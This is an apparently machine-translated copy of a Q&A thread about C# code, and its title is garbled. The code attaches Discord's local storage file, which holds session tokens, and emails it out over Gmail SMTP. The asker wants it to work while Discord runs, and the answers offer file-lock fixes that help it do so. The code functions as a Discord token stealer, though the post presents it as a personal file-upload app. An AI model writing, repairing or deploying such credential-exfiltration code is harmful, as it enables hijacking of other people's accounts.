该进程无法访问该文件,因为它正被另一个进程可能的修复使用

时间:2018-02-16 12:40:32

标签: c#

所以目前我正在创建一个应用程序,它将在本地搜索文件并上传并将其发送到我的电子邮件。我遇到的问题是在“尝试”发送文件的过程中我得到的问题是“进程无法访问该文件,因为它正被另一个进程使用”

我的代码:

MailMessage DiscordExtra = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
DiscordExtra.From = new MailAddress("your mail@gmail.com");
DiscordExtra.To.Add("to_mail@gmail.com");
DiscordExtra.Subject = "Test Mail - 1";
DiscordExtra.Body = "mail with attachment";

System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("C:\\Users/Feive/AppData/Roaming/discord/Local Storage/https_discordapp.com_0.localstorage");
DiscordExtra.Attachments.Add(attachment);

SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential(nsTextBox1.Text, nsTextBox2.Text);
SmtpServer.EnableSsl = true;

SmtpServer.Send(DiscordExtra);

Nstextbox1是电子邮件。 Nstextbox2是电子邮件的密码。 我需要这个能够上传此文件并将其发送到电子邮件。有没有人知道修复此问题。不和谐进程需要继续运行。

2 个答案:

答案 0 :(得分:0)

确保释放/处置所有持有的资源。

DiscordExtra.Dispose()

答案 1 :(得分:-2)

确保文件不被word,记事本等内容使用。 如果您正在使用代码处理文件,请确保在写入文件时关闭该文件。